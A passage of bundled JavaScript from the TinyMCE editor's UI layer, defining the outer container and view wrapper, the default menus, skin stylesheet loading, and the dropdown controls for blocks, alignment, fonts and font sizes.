    const runOnHide = (slotContainer, name) => runOnPaneWithInstanceApi(slotContainer, name, View.getOnHide);
    const factory$7 = (detail, spec) => {
      const setViews = (comp, viewConfigs) => {
        Replacing.set(comp, [makeSlotContainer(viewConfigs, spec.backstage.shared.providers)]);
      };
      const whichView = comp => {
        return Composing.getCurrent(comp).bind(getCurrentName);
      };
      const toggleView = (comp, showMainView, hideMainView, name) => {
        return Composing.getCurrent(comp).exists(slotContainer => {
          const optCurrentSlotName = getCurrentName(slotContainer);
          const isTogglingCurrentView = optCurrentSlotName.exists(current => name === current);
          const exists = SlotContainer.getSlot(slotContainer, name).isSome();
          if (exists) {
            SlotContainer.hideAllSlots(slotContainer);
            if (!isTogglingCurrentView) {
              hideMainView();
              showContainer(comp);
              SlotContainer.showSlot(slotContainer, name);
              runOnShow(slotContainer, name);
            } else {
              hideContainer(comp);
              showMainView();
            }
            optCurrentSlotName.each(prevName => runOnHide(slotContainer, prevName));
          }
          return exists;
        });
      };
      const apis = {
        setViews,
        whichView,
        toggleView
      };
      return {
        uid: detail.uid,
        dom: {
          tag: 'div',
          classes: ['tox-view-wrap'],
          attributes: { 'aria-hidden': 'true' },
          styles: { display: 'none' }
        },
        components: [],
        behaviours: derive$1([
          Replacing.config({}),
          Composing.config({
            find: comp => {
              const children = Replacing.contents(comp);
              return head(children);
            }
          })
        ]),
        apis
      };
    };
    var ViewWrapper = single({
      factory: factory$7,
      name: 'silver.ViewWrapper',
      configFields: [required$1('backstage')],
      apis: {
        setViews: (apis, comp, views) => apis.setViews(comp, views),
        toggleView: (apis, comp, outerContainer, editorCont, name) => apis.toggleView(comp, outerContainer, editorCont, name),
        whichView: (apis, comp) => apis.whichView(comp)
      }
    });

    const factory$6 = (detail, components, _spec) => {
      let toolbarDrawerOpenState = false;
      const apis = {
        getSocket: comp => {
          return parts$a.getPart(comp, detail, 'socket');
        },
        setSidebar: (comp, panelConfigs, showSidebar) => {
          parts$a.getPart(comp, detail, 'sidebar').each(sidebar => setSidebar(sidebar, panelConfigs, showSidebar));
        },
        toggleSidebar: (comp, name) => {
          parts$a.getPart(comp, detail, 'sidebar').each(sidebar => toggleSidebar(sidebar, name));
        },
        whichSidebar: comp => {
          return parts$a.getPart(comp, detail, 'sidebar').bind(whichSidebar).getOrNull();
        },
        getHeader: comp => {
          return parts$a.getPart(comp, detail, 'header');
        },
        getToolbar: comp => {
          return parts$a.getPart(comp, detail, 'toolbar');
        },
        setToolbar: (comp, groups) => {
          parts$a.getPart(comp, detail, 'toolbar').each(toolbar => {
            const renderedGroups = map$2(groups, renderToolbarGroup);
            toolbar.getApis().setGroups(toolbar, renderedGroups);
          });
        },
        setToolbars: (comp, toolbars) => {
          parts$a.getPart(comp, detail, 'multiple-toolbar').each(mToolbar => {
            const renderedToolbars = map$2(toolbars, g => map$2(g, renderToolbarGroup));
            CustomList.setItems(mToolbar, renderedToolbars);
          });
        },
        refreshToolbar: comp => {
          const toolbar = parts$a.getPart(comp, detail, 'toolbar');
          toolbar.each(toolbar => toolbar.getApis().refresh(toolbar));
        },
        toggleToolbarDrawer: comp => {
          parts$a.getPart(comp, detail, 'toolbar').each(toolbar => {
            mapFrom(toolbar.getApis().toggle, toggle => toggle(toolbar));
          });
        },
        isToolbarDrawerToggled: comp => {
          return parts$a.getPart(comp, detail, 'toolbar').bind(toolbar => Optional.from(toolbar.getApis().isOpen).map(isOpen => isOpen(toolbar))).getOr(false);
        },
        getThrobber: comp => {
          return parts$a.getPart(comp, detail, 'throbber');
        },
        focusToolbar: comp => {
          const optToolbar = parts$a.getPart(comp, detail, 'toolbar').orThunk(() => parts$a.getPart(comp, detail, 'multiple-toolbar'));
          optToolbar.each(toolbar => {
            Keying.focusIn(toolbar);
          });
        },
        setMenubar: (comp, menus) => {
          parts$a.getPart(comp, detail, 'menubar').each(menubar => {
            SilverMenubar.setMenus(menubar, menus);
          });
        },
        focusMenubar: comp => {
          parts$a.getPart(comp, detail, 'menubar').each(menubar => {
            SilverMenubar.focus(menubar);
          });
        },
        setViews: (comp, viewConfigs) => {
          parts$a.getPart(comp, detail, 'viewWrapper').each(wrapper => {
            ViewWrapper.setViews(wrapper, viewConfigs);
          });
        },
        toggleView: (comp, name) => {
          return parts$a.getPart(comp, detail, 'viewWrapper').exists(wrapper => ViewWrapper.toggleView(wrapper, () => apis.showMainView(comp), () => apis.hideMainView(comp), name));
        },
        whichView: comp => {
          return parts$a.getPart(comp, detail, 'viewWrapper').bind(ViewWrapper.whichView).getOrNull();
        },
        hideMainView: comp => {
          toolbarDrawerOpenState = apis.isToolbarDrawerToggled(comp);
          if (toolbarDrawerOpenState) {
            apis.toggleToolbarDrawer(comp);
          }
          parts$a.getPart(comp, detail, 'editorContainer').each(editorContainer => {
            const element = editorContainer.element;
            set$8(element, 'display', 'none');
            set$9(element, 'aria-hidden', 'true');
          });
        },
        showMainView: comp => {
          if (toolbarDrawerOpenState) {
            apis.toggleToolbarDrawer(comp);
          }
          parts$a.getPart(comp, detail, 'editorContainer').each(editorContainer => {
            const element = editorContainer.element;
            remove$6(element, 'display');
            remove$7(element, 'aria-hidden');
          });
        }
      };
      return {
        uid: detail.uid,
        dom: detail.dom,
        components,
        apis,
        behaviours: detail.behaviours
      };
    };
    const partMenubar = partType.optional({
      factory: SilverMenubar,
      name: 'menubar',
      schema: [required$1('backstage')]
    });
    const toolbarFactory = spec => {
      if (spec.type === ToolbarMode$1.sliding) {
        return renderSlidingMoreToolbar;
      } else if (spec.type === ToolbarMode$1.floating) {
        return renderFloatingMoreToolbar;
      } else {
        return renderToolbar;
      }
    };
    const partMultipleToolbar = partType.optional({
      factory: {
        sketch: spec => CustomList.sketch({
          uid: spec.uid,
          dom: spec.dom,
          listBehaviours: derive$1([Keying.config({
              mode: 'acyclic',
              selector: '.tox-toolbar'
            })]),
          makeItem: () => renderToolbar({
            type: spec.type,
            uid: generate$6('multiple-toolbar-item'),
            cyclicKeying: false,
            initGroups: [],
            providers: spec.providers,
            onEscape: () => {
              spec.onEscape();
              return Optional.some(true);
            }
          }),
          setupItem: (_mToolbar, tc, data, _index) => {
            Toolbar.setGroups(tc, data);
          },
          shell: true
        })
      },
      name: 'multiple-toolbar',
      schema: [
        required$1('dom'),
        required$1('onEscape')
      ]
    });
    const partToolbar = partType.optional({
      factory: {
        sketch: spec => {
          const renderer = toolbarFactory(spec);
          const toolbarSpec = {
            type: spec.type,
            uid: spec.uid,
            onEscape: () => {
              spec.onEscape();
              return Optional.some(true);
            },
            onToggled: (_comp, state) => spec.onToolbarToggled(state),
            cyclicKeying: false,
            initGroups: [],
            getSink: spec.getSink,
            providers: spec.providers,
            moreDrawerData: {
              lazyToolbar: spec.lazyToolbar,
              lazyMoreButton: spec.lazyMoreButton,
              lazyHeader: spec.lazyHeader
            },
            attributes: spec.attributes
          };
          return renderer(toolbarSpec);
        }
      },
      name: 'toolbar',
      schema: [
        required$1('dom'),
        required$1('onEscape'),
        required$1('getSink')
      ]
    });
    const partHeader = partType.optional({
      factory: { sketch: renderHeader },
      name: 'header',
      schema: [required$1('dom')]
    });
    const partPromotion = partType.optional({
      factory: { sketch: renderPromotion },
      name: 'promotion',
      schema: [required$1('dom')]
    });
    const partSocket = partType.optional({
      name: 'socket',
      schema: [required$1('dom')]
    });
    const partSidebar = partType.optional({
      factory: { sketch: renderSidebar },
      name: 'sidebar',
      schema: [required$1('dom')]
    });
    const partThrobber = partType.optional({
      factory: { sketch: renderThrobber },
      name: 'throbber',
      schema: [required$1('dom')]
    });
    const partViewWrapper = partType.optional({
      factory: ViewWrapper,
      name: 'viewWrapper',
      schema: [required$1('backstage')]
    });
    const renderEditorContainer = spec => ({
      uid: spec.uid,
      dom: {
        tag: 'div',
        classes: ['tox-editor-container']
      },
      components: spec.components
    });
    const partEditorContainer = partType.optional({
      factory: { sketch: renderEditorContainer },
      name: 'editorContainer',
      schema: []
    });
    var OuterContainer = composite({
      name: 'OuterContainer',
      factory: factory$6,
      configFields: [
        required$1('dom'),
        required$1('behaviours')
      ],
      partFields: [
        partHeader,
        partMenubar,
        partToolbar,
        partMultipleToolbar,
        partSocket,
        partSidebar,
        partPromotion,
        partThrobber,
        partViewWrapper,
        partEditorContainer
      ],
      apis: {
        getSocket: (apis, comp) => {
          return apis.getSocket(comp);
        },
        setSidebar: (apis, comp, panelConfigs, showSidebar) => {
          apis.setSidebar(comp, panelConfigs, showSidebar);
        },
        toggleSidebar: (apis, comp, name) => {
          apis.toggleSidebar(comp, name);
        },
        whichSidebar: (apis, comp) => {
          return apis.whichSidebar(comp);
        },
        getHeader: (apis, comp) => {
          return apis.getHeader(comp);
        },
        getToolbar: (apis, comp) => {
          return apis.getToolbar(comp);
        },
        setToolbar: (apis, comp, groups) => {
          apis.setToolbar(comp, groups);
        },
        setToolbars: (apis, comp, toolbars) => {
          apis.setToolbars(comp, toolbars);
        },
        refreshToolbar: (apis, comp) => {
          return apis.refreshToolbar(comp);
        },
        toggleToolbarDrawer: (apis, comp) => {
          apis.toggleToolbarDrawer(comp);
        },
        isToolbarDrawerToggled: (apis, comp) => {
          return apis.isToolbarDrawerToggled(comp);
        },
        getThrobber: (apis, comp) => {
          return apis.getThrobber(comp);
        },
        setMenubar: (apis, comp, menus) => {
          apis.setMenubar(comp, menus);
        },
        focusMenubar: (apis, comp) => {
          apis.focusMenubar(comp);
        },
        focusToolbar: (apis, comp) => {
          apis.focusToolbar(comp);
        },
        setViews: (apis, comp, views) => {
          apis.setViews(comp, views);
        },
        toggleView: (apis, comp, name) => {
          return apis.toggleView(comp, name);
        },
        whichView: (apis, comp) => {
          return apis.whichView(comp);
        }
      }
    });

    const defaultMenubar = 'file edit view insert format tools table help';
    const defaultMenus = {
      file: {
        title: 'File',
        items: 'newdocument restoredraft | preview | export print | deleteallconversations'
      },
      edit: {
        title: 'Edit',
        items: 'undo redo | cut copy paste pastetext | selectall | searchreplace'
      },
      view: {
        title: 'View',
        items: 'code | visualaid visualchars visualblocks | spellchecker | preview fullscreen | showcomments'
      },
      insert: {
        title: 'Insert',
        items: 'image link media addcomment pageembed template codesample inserttable | charmap emoticons hr | pagebreak nonbreaking anchor tableofcontents footnotes | mergetags | insertdatetime'
      },
      format: {
        title: 'Format',
        items: 'bold italic underline strikethrough superscript subscript codeformat | styles blocks fontfamily fontsize align lineheight | forecolor backcolor | language | removeformat'
      },
      tools: {
        title: 'Tools',
        items: 'spellchecker spellcheckerlanguage | autocorrect capitalization | a11ycheck code wordcount'
      },
      table: {
        title: 'Table',
        items: 'inserttable | cell row column | advtablesort | tableprops deletetable'
      },
      help: {
        title: 'Help',
        items: 'help'
      }
    };
    const make = (menu, registry, editor) => {
      const removedMenuItems = getRemovedMenuItems(editor).split(/[ ,]/);
      return {
        text: menu.title,
        getItems: () => bind$3(menu.items, i => {
          const itemName = i.toLowerCase();
          if (itemName.trim().length === 0) {
            return [];
          } else if (exists(removedMenuItems, removedMenuItem => removedMenuItem === itemName)) {
            return [];
          } else if (itemName === 'separator' || itemName === '|') {
            return [{ type: 'separator' }];
          } else if (registry.menuItems[itemName]) {
            return [registry.menuItems[itemName]];
          } else {
            return [];
          }
        })
      };
    };
    const parseItemsString = items => {
      return items.split(' ');
    };
    const identifyMenus = (editor, registry) => {
      const rawMenuData = {
        ...defaultMenus,
        ...registry.menus
      };
      const userDefinedMenus = keys(registry.menus).length > 0;
      const menubar = registry.menubar === undefined || registry.menubar === true ? parseItemsString(defaultMenubar) : parseItemsString(registry.menubar === false ? '' : registry.menubar);
      const validMenus = filter$2(menubar, menuName => {
        const isDefaultMenu = has$2(defaultMenus, menuName);
        if (userDefinedMenus) {
          return isDefaultMenu || get$g(registry.menus, menuName).exists(menu => has$2(menu, 'items'));
        } else {
          return isDefaultMenu;
        }
      });
      const menus = map$2(validMenus, menuName => {
        const menuData = rawMenuData[menuName];
        return make({
          title: menuData.title,
          items: parseItemsString(menuData.items)
        }, registry, editor);
      });
      return filter$2(menus, menu => {
        const isNotSeparator = item => isString(item) || item.type !== 'separator';
        return menu.getItems().length > 0 && exists(menu.getItems(), isNotSeparator);
      });
    };

    const fireSkinLoaded = editor => {
      const done = () => {
        editor._skinLoaded = true;
        fireSkinLoaded$1(editor);
      };
      return () => {
        if (editor.initialized) {
          done();
        } else {
          editor.on('init', done);
        }
      };
    };
    const fireSkinLoadError = (editor, err) => () => fireSkinLoadError$1(editor, { message: err });

    const loadStylesheet = (editor, stylesheetUrl, styleSheetLoader) => {
      editor.on('remove', () => styleSheetLoader.unload(stylesheetUrl));
      return styleSheetLoader.load(stylesheetUrl);
    };
    const loadUiSkins = (editor, skinUrl) => {
      const skinUiCss = skinUrl + '/skin.min.css';
      return loadStylesheet(editor, skinUiCss, editor.ui.styleSheetLoader);
    };
    const loadShadowDomUiSkins = (editor, skinUrl) => {
      const isInShadowRoot$1 = isInShadowRoot(SugarElement.fromDom(editor.getElement()));
      if (isInShadowRoot$1) {
        const shadowDomSkinCss = skinUrl + '/skin.shadowdom.min.css';
        return loadStylesheet(editor, shadowDomSkinCss, global$7.DOM.styleSheetLoader);
      } else {
        return Promise.resolve();
      }
    };
    const loadSkin = (isInline, editor) => {
      const skinUrl = getSkinUrl(editor);
      if (skinUrl) {
        editor.contentCSS.push(skinUrl + (isInline ? '/content.inline' : '/content') + '.min.css');
      }
      if (!isSkinDisabled(editor) && isString(skinUrl)) {
        Promise.all([
          loadUiSkins(editor, skinUrl),
          loadShadowDomUiSkins(editor, skinUrl)
        ]).then(fireSkinLoaded(editor), fireSkinLoadError(editor, 'Skin could not be loaded'));
      } else {
        fireSkinLoaded(editor)();
      }
    };
    const iframe = curry(loadSkin, false);
    const inline = curry(loadSkin, true);

    const onSetupFormatToggle = (editor, name) => api => {
      const boundCallback = unbindable();
      const init = () => {
        api.setActive(editor.formatter.match(name));
        const binding = editor.formatter.formatChanged(name, api.setActive);
        boundCallback.set(binding);
      };
      editor.initialized ? init() : editor.once('init', init);
      return () => {
        editor.off('init', init);
        boundCallback.clear();
      };
    };
    const onSetupEvent = (editor, event, f) => api => {
      const handleEvent = () => f(api);
      const init = () => {
        f(api);
        editor.on(event, handleEvent);
      };
      editor.initialized ? init() : editor.once('init', init);
      return () => {
        editor.off('init', init);
        editor.off(event, handleEvent);
      };
    };
    const onActionToggleFormat$1 = editor => rawItem => () => {
      editor.undoManager.transact(() => {
        editor.focus();
        editor.execCommand('mceToggleFormat', false, rawItem.format);
      });
    };
    const onActionExecCommand = (editor, command) => () => editor.execCommand(command);

    const generateSelectItems = (_editor, backstage, spec) => {
      const generateItem = (rawItem, response, invalid, value) => {
        const translatedText = backstage.shared.providers.translate(rawItem.title);
        if (rawItem.type === 'separator') {
          return Optional.some({
            type: 'separator',
            text: translatedText
          });
        } else if (rawItem.type === 'submenu') {
          const items = bind$3(rawItem.getStyleItems(), si => validate(si, response, value));
          if (response === 0 && items.length <= 0) {
            return Optional.none();
          } else {
            return Optional.some({
              type: 'nestedmenuitem',
              text: translatedText,
              enabled: items.length > 0,
              getSubmenuItems: () => bind$3(rawItem.getStyleItems(), si => validate(si, response, value))
            });
          }
        } else {
          return Optional.some({
            type: 'togglemenuitem',
            text: translatedText,
            icon: rawItem.icon,
            active: rawItem.isSelected(value),
            enabled: !invalid,
            onAction: spec.onAction(rawItem),
            ...rawItem.getStylePreview().fold(() => ({}), preview => ({ meta: { style: preview } }))
          });
        }
      };
      const validate = (item, response, value) => {
        const invalid = item.type === 'formatter' && spec.isInvalid(item);
        if (response === 0) {
          return invalid ? [] : generateItem(item, response, false, value).toArray();
        } else {
          return generateItem(item, response, invalid, value).toArray();
        }
      };
      const validateItems = preItems => {
        const value = spec.getCurrentValue();
        const response = spec.shouldHide ? 0 : 1;
        return bind$3(preItems, item => validate(item, response, value));
      };
      const getFetch = (backstage, getStyleItems) => (comp, callback) => {
        const preItems = getStyleItems();
        const items = validateItems(preItems);
        const menu = build(items, ItemResponse$1.CLOSE_ON_EXECUTE, backstage, {
          isHorizontalMenu: false,
          search: Optional.none()
        });
        callback(menu);
      };
      return {
        validateItems,
        getFetch
      };
    };
    const createMenuItems = (editor, backstage, spec) => {
      const dataset = spec.dataset;
      const getStyleItems = dataset.type === 'basic' ? () => map$2(dataset.data, d => processBasic(d, spec.isSelectedFor, spec.getPreviewFor)) : dataset.getData;
      return {
        items: generateSelectItems(editor, backstage, spec),
        getStyleItems
      };
    };
    const createSelectButton = (editor, backstage, spec) => {
      const {items, getStyleItems} = createMenuItems(editor, backstage, spec);
      const getApi = comp => ({ getComponent: constant$1(comp) });
      const onSetup = onSetupEvent(editor, 'NodeChange', api => {
        const comp = api.getComponent();
        spec.updateText(comp);
      });
      return renderCommonDropdown({
        text: spec.icon.isSome() ? Optional.none() : spec.text,
        icon: spec.icon,
        tooltip: Optional.from(spec.tooltip),
        role: Optional.none(),
        fetch: items.getFetch(backstage, getStyleItems),
        onSetup,
        getApi,
        columns: 1,
        presets: 'normal',
        classes: spec.icon.isSome() ? [] : ['bespoke'],
        dropdownBehaviours: []
      }, 'tox-tbtn', backstage.shared);
    };

    const process = rawFormats => map$2(rawFormats, item => {
      let title = item, format = item;
      const values = item.split('=');
      if (values.length > 1) {
        title = values[0];
        format = values[1];
      }
      return {
        title,
        format
      };
    });
    const buildBasicStaticDataset = data => ({
      type: 'basic',
      data
    });
    var Delimiter;
    (function (Delimiter) {
      Delimiter[Delimiter['SemiColon'] = 0] = 'SemiColon';
      Delimiter[Delimiter['Space'] = 1] = 'Space';
    }(Delimiter || (Delimiter = {})));
    const split = (rawFormats, delimiter) => {
      if (delimiter === Delimiter.SemiColon) {
        return rawFormats.replace(/;$/, '').split(';');
      } else {
        return rawFormats.split(' ');
      }
    };
    const buildBasicSettingsDataset = (editor, settingName, delimiter) => {
      const rawFormats = editor.options.get(settingName);
      const data = process(split(rawFormats, delimiter));
      return {
        type: 'basic',
        data
      };
    };

    const alignMenuItems = [
      {
        title: 'Left',
        icon: 'align-left',
        format: 'alignleft',
        command: 'JustifyLeft'
      },
      {
        title: 'Center',
        icon: 'align-center',
        format: 'aligncenter',
        command: 'JustifyCenter'
      },
      {
        title: 'Right',
        icon: 'align-right',
        format: 'alignright',
        command: 'JustifyRight'
      },
      {
        title: 'Justify',
        icon: 'align-justify',
        format: 'alignjustify',
        command: 'JustifyFull'
      }
    ];
    const getSpec$4 = editor => {
      const getMatchingValue = () => find$5(alignMenuItems, item => editor.formatter.match(item.format));
      const isSelectedFor = format => () => editor.formatter.match(format);
      const getPreviewFor = _format => Optional.none;
      const updateSelectMenuIcon = comp => {
        const match = getMatchingValue();
        const alignment = match.fold(constant$1('left'), item => item.title.toLowerCase());
        emitWith(comp, updateMenuIcon, { icon: `align-${ alignment }` });
      };
      const dataset = buildBasicStaticDataset(alignMenuItems);
      const onAction = rawItem => () => find$5(alignMenuItems, item => item.format === rawItem.format).each(item => editor.execCommand(item.command));
      return {
        tooltip: 'Align',
        text: Optional.none(),
        icon: Optional.some('align-left'),
        isSelectedFor,
        getCurrentValue: Optional.none,
        getPreviewFor,
        onAction,
        updateText: updateSelectMenuIcon,
        dataset,
        shouldHide: false,
        isInvalid: item => !editor.formatter.canApply(item.format)
      };
    };
    const createAlignButton = (editor, backstage) => createSelectButton(editor, backstage, getSpec$4(editor));
    const createAlignMenu = (editor, backstage) => {
      const menuItems = createMenuItems(editor, backstage, getSpec$4(editor));
      editor.ui.registry.addNestedMenuItem('align', {
        text: backstage.shared.providers.translate('Align'),
        getSubmenuItems: () => menuItems.items.validateItems(menuItems.getStyleItems())
      });
    };

    const findNearest = (editor, getStyles) => {
      const styles = getStyles();
      const formats = map$2(styles, style => style.format);
      return Optional.from(editor.formatter.closest(formats)).bind(fmt => find$5(styles, data => data.format === fmt)).orThunk(() => someIf(editor.formatter.match('p'), {
        title: 'Paragraph',
        format: 'p'
      }));
    };

    const getSpec$3 = editor => {
      const fallbackFormat = 'Paragraph';
      const isSelectedFor = format => () => editor.formatter.match(format);
      const getPreviewFor = format => () => {
        const fmt = editor.formatter.get(format);
        if (fmt) {
          return Optional.some({
            tag: fmt.length > 0 ? fmt[0].inline || fmt[0].block || 'div' : 'div',
            styles: editor.dom.parseStyle(editor.formatter.getCssText(format))
          });
        } else {
          return Optional.none();
        }
      };
      const updateSelectMenuText = comp => {
        const detectedFormat = findNearest(editor, () => dataset.data);
        const text = detectedFormat.fold(constant$1(fallbackFormat), fmt => fmt.title);
        emitWith(comp, updateMenuText, { text });
      };
      const dataset = buildBasicSettingsDataset(editor, 'block_formats', Delimiter.SemiColon);
      return {
        tooltip: 'Blocks',
        text: Optional.some(fallbackFormat),
        icon: Optional.none(),
        isSelectedFor,
        getCurrentValue: Optional.none,
        getPreviewFor,
        onAction: onActionToggleFormat$1(editor),
        updateText: updateSelectMenuText,
        dataset,
        shouldHide: false,
        isInvalid: item => !editor.formatter.canApply(item.format)
      };
    };
    const createBlocksButton = (editor, backstage) => createSelectButton(editor, backstage, getSpec$3(editor));
    const createBlocksMenu = (editor, backstage) => {
      const menuItems = createMenuItems(editor, backstage, getSpec$3(editor));
      editor.ui.registry.addNestedMenuItem('blocks', {
        text: 'Blocks',
        getSubmenuItems: () => menuItems.items.validateItems(menuItems.getStyleItems())
      });
    };

    const systemStackFonts = [
      '-apple-system',
      'Segoe UI',
      'Roboto',
      'Helvetica Neue',
      'sans-serif'
    ];
    const splitFonts = fontFamily => {
      const fonts = fontFamily.split(/\s*,\s*/);
      return map$2(fonts, font => font.replace(/^['"]+|['"]+$/g, ''));
    };
    const isSystemFontStack = fontFamily => {
      const matchesSystemStack = () => {
        const fonts = splitFonts(fontFamily.toLowerCase());
        return forall(systemStackFonts, font => fonts.indexOf(font.toLowerCase()) > -1);
      };
      return fontFamily.indexOf('-apple-system') === 0 && matchesSystemStack();
    };
    const getSpec$2 = editor => {
      const systemFont = 'System Font';
      const getMatchingValue = () => {
        const getFirstFont = fontFamily => fontFamily ? splitFonts(fontFamily)[0] : '';
        const fontFamily = editor.queryCommandValue('FontName');
        const items = dataset.data;
        const font = fontFamily ? fontFamily.toLowerCase() : '';
        const matchOpt = find$5(items, item => {
          const format = item.format;
          return format.toLowerCase() === font || getFirstFont(format).toLowerCase() === getFirstFont(font).toLowerCase();
        }).orThunk(() => {
          return someIf(isSystemFontStack(font), {
            title: systemFont,
            format: font
          });
        });
        return {
          matchOpt,
          font: fontFamily
        };
      };
      const isSelectedFor = item => valueOpt => valueOpt.exists(value => value.format === item);
      const getCurrentValue = () => {
        const {matchOpt} = getMatchingValue();
        return matchOpt;
      };
      const getPreviewFor = item => () => Optional.some({
        tag: 'div',
        styles: item.indexOf('dings') === -1 ? { 'font-family': item } : {}
      });
      const onAction = rawItem => () => {
        editor.undoManager.transact(() => {
          editor.focus();
          editor.execCommand('FontName', false, rawItem.format);
        });
      };
      const updateSelectMenuText = comp => {
        const {matchOpt, font} = getMatchingValue();
        const text = matchOpt.fold(constant$1(font), item => item.title);
        emitWith(comp, updateMenuText, { text });
      };
      const dataset = buildBasicSettingsDataset(editor, 'font_family_formats', Delimiter.SemiColon);
      return {
        tooltip: 'Fonts',
        text: Optional.some(systemFont),
        icon: Optional.none(),
        isSelectedFor,
        getCurrentValue,
        getPreviewFor,
        onAction,
        updateText: updateSelectMenuText,
        dataset,
        shouldHide: false,
        isInvalid: never
      };
    };
    const createFontFamilyButton = (editor, backstage) => createSelectButton(editor, backstage, getSpec$2(editor));
    const createFontFamilyMenu = (editor, backstage) => {
      const menuItems = createMenuItems(editor, backstage, getSpec$2(editor));
      editor.ui.registry.addNestedMenuItem('fontfamily', {
        text: backstage.shared.providers.translate('Fonts'),
        getSubmenuItems: () => menuItems.items.validateItems(menuItems.getStyleItems())
      });
    };

    const legacyFontSizes = {
      '8pt': '1',
      '10pt': '2',
      '12pt': '3',
      '14pt': '4',
      '18pt': '5',
      '24pt': '6',
      '36pt': '7'
    };
    const keywordFontSizes = {
      'xx-small': '7pt',
      'x-small': '8pt',
      'small': '10pt',
      'medium': '12pt',
      'large': '14pt',
      'x-large': '18pt',
      'xx-large': '24pt'
    };
    const round = (number, precision) => {
      const factor = Math.pow(10, precision);
      return Math.round(number * factor) / factor;
    };
    const toPt = (fontSize, precision) => {
      if (/[0-9.]+px$/.test(fontSize)) {
        return round(parseInt(fontSize, 10) * 72 / 96, precision || 0) + 'pt';
      } else {
        return get$g(keywordFontSizes, fontSize).getOr(fontSize);
      }
    };
    const toLegacy = fontSize => get$g(legacyFontSizes, fontSize).getOr('');
    const getSpec$1 = editor => {
      const getMatchingValue = () => {
        let matchOpt = Optional.none();
        const items = dataset.data;
        const fontSize = editor.queryCommandValue('FontSize');
        if (fontSize) {
          for (let precision = 3; matchOpt.isNone() && precision >= 0; precision--) {
            const pt = toPt(fontSize, precision);
            const legacy = toLegacy(pt);
            matchOpt = find$5(items, item => item.format === fontSize || item.format === pt || item.format === legacy);
          }
        }
        return {
          matchOpt,
          size: fontSize
        };
      };
      const isSelectedFor = item => valueOpt => valueOpt.exists(value => value.format === item);
      const getCurrentValue = () => {
        const {matchOpt} = getMatchingValue();
        return matchOpt;
      };
      const getPreviewFor = constant$1(Optional.none);
      const onAction = rawItem => () => {
        editor.undoManager.transact(() => {
          editor.focus();
          editor.execCommand('FontSize', false, rawItem.format);
        });
      };
      const updateSelectMenuText = comp => {
        const {matchOpt, size} = getMatchingValue();
        const text = matchOpt.fold(constant$1(size), match => match.title);
        emitWith(comp, updateMenuText, { text });
      };
      const dataset = buildBasicSettingsDataset(editor, 'font_size_formats', Delimiter.Space);
      return {
        tooltip: 'Font sizes',
        text: Optional.some('12pt'),
        icon: Optional.none(),
        isSelectedFor,
        getPreviewFor,
        getCurrentValue,
        onAction,
        updateText: updateSelectMenuText,
        dataset,
        shouldHide: false,
        isInvalid: never
      };
    };
    const createFontSizeButton = (editor, backstage) => createSelectButton(editor, backstage, getSpec$1(editor));
    const createFontSizeMenu = (editor, backstage) => {
      const menuItems = createMenuItems(editor, backstage, getSpec$1(editor));
      editor.ui.registry.addNestedMenuItem('fontsize', {
        text: 'Font sizes',
        getSubmenuItems: () => menuItems.items.validateItems(menuItems.getStyleItems())
      });
    };

    const getSpec = (editor, dataset) => {
      const fallbackFormat = 'Paragraph';
      const isSelectedFor = format => () => editor.formatter.match(format);
      const getPreviewFor = format => () => {
        const fmt = editor.formatter.get(format);
        return fmt !== undefined ? Optional.some({
          tag: fmt.length > 0 ? fmt[0].inline || fmt[0].block || 'div' : 'div',
          styles: editor.dom.parseStyle(editor.formatter.getCssText(format))
        }) : Optional.none();
      };
      const updateSelectMenuText = comp => {
        const getFormatItems = fmt => {
          if (isNestedFormat(fmt)) {
            return bind$3(fmt.items, getFormatItems);
          } else if (isFormatReference(fmt)) {
            return [{
                title: fmt.title,
                format: fmt.format
              }];
          } else {
            return [];
          }
        };
        const flattenedItems = bind$3(getStyleFormats(editor), getFormatItems);
        const detectedFormat = findNearest(editor, constant$1(flattenedItems));
        const text = detectedFormat.fold(constant$1(fallbackFormat), fmt => fmt.title);
        emitWith(comp, updateMenuText, { text });
      };
      return {
        tooltip: 'Formats',
        text: Optional.some(fallbackFormat),
        icon: Optional.none(),
        isSelectedFor,
        getCurrentValue: Optional.none,
        getPreviewFor,
        onAction: onActionToggleFormat$1(editor),
        updateText: updateSelectMenuText,
        shouldHide: shouldAutoHideStyleFormats(editor),
        isInvalid: item => !editor.formatter.canApply(item.format),
        dataset
      };
    };
    const createStylesButton = (editor, backstage) => {
      const dataset = {
        type: 'advanced',
        ...backstage.styles
      };
      return createSelectButton(editor, backstage, getSpec(editor, dataset));
    };
    const createStylesMenu = (editor, backstage) => {
      const dataset = {
        type: 'advanced',
        ...backstage.styles
      };
      const menuItems = createMenuItems(editor, backstage, getSpec(editor, dataset));
      editor.ui.registry.addNestedMenuItem('styles', {
        text: 'Formats',
        getSubmenuItems: () => menuItems.items.validateItems(menuItems.getStyleItems())
      });
    };

    const events$3 = (reflectingConfig, reflectingState) => {
      const update = (component, data) => {
        reflectingConfig.updateState.each(updateState => {
          const newState = updateState(component, data);
          reflectingState.set(newState);
        });
        reflectingConfig.renderComponents.each(renderComponents => {
          const newComponents = renderComponents(data, reflectingState.get());
          const replacer = reflectingConfig.reuseDom ? withReuse : withoutReuse;
          replacer(component, newComponents);
        });
      };
      return derive$2([
        run$1(receive(), (component, message) => {
          const receivingData = message;
          if (!receivingData.universal) {
            const channel = reflectingConfig.channel;
            if (contains$2(receivingData.channels, channel)) {
              update(component, receivingData.data);
            }
          }
        }),
        runOnAttached((comp, _se) => {
          reflectingConfig.initialData.each(rawData => {
            update(comp, rawData);
          });
        })
      ]);
    };

    var ActiveReflecting = /*#__PURE__*/Object.freeze({
        __proto__: null,
        events: events$3
    });

    const getState = (component, replaceConfig, reflectState) => reflectState;

    var ReflectingApis = /*#__PURE__*/Object.freeze({
        __proto__: null,
        getState: getState
    });

    var ReflectingSchema = [
      required$1('channel'),
      option$3('renderComponents'),
      option$3('updateState'),
      option$3('initialData'),
      defaultedBoolean('reuseDom', true)
    ];

    const init$3 = () => {
      const cell = Cell(Optional.none());
      const clear = () => cell.set(Optional.none());
      const readState = () => cell.get().getOr('none');
      return {
        readState,
        get: cell.get,
        set: cell.set,
        clear
      };
    };

    var ReflectingState = /*#__PURE__*/Object.freeze({
        __proto__: null,
        init: init$3
    });

    const Reflecting = create$4({
      fields: ReflectingSchema,
      name: 'reflecting',
      active: ActiveReflecting,
      apis: ReflectingApis,
      state: ReflectingState
    });

    const schema$7 = constant$1([
      required$1('toggleClass'),
      required$1('fetch'),
      onStrictHandler('onExecute'),
      defaulted('getHotspot', Optional.some),
      defaulted('getAnchorOverrides', constant$1({})),
      schema$y(),
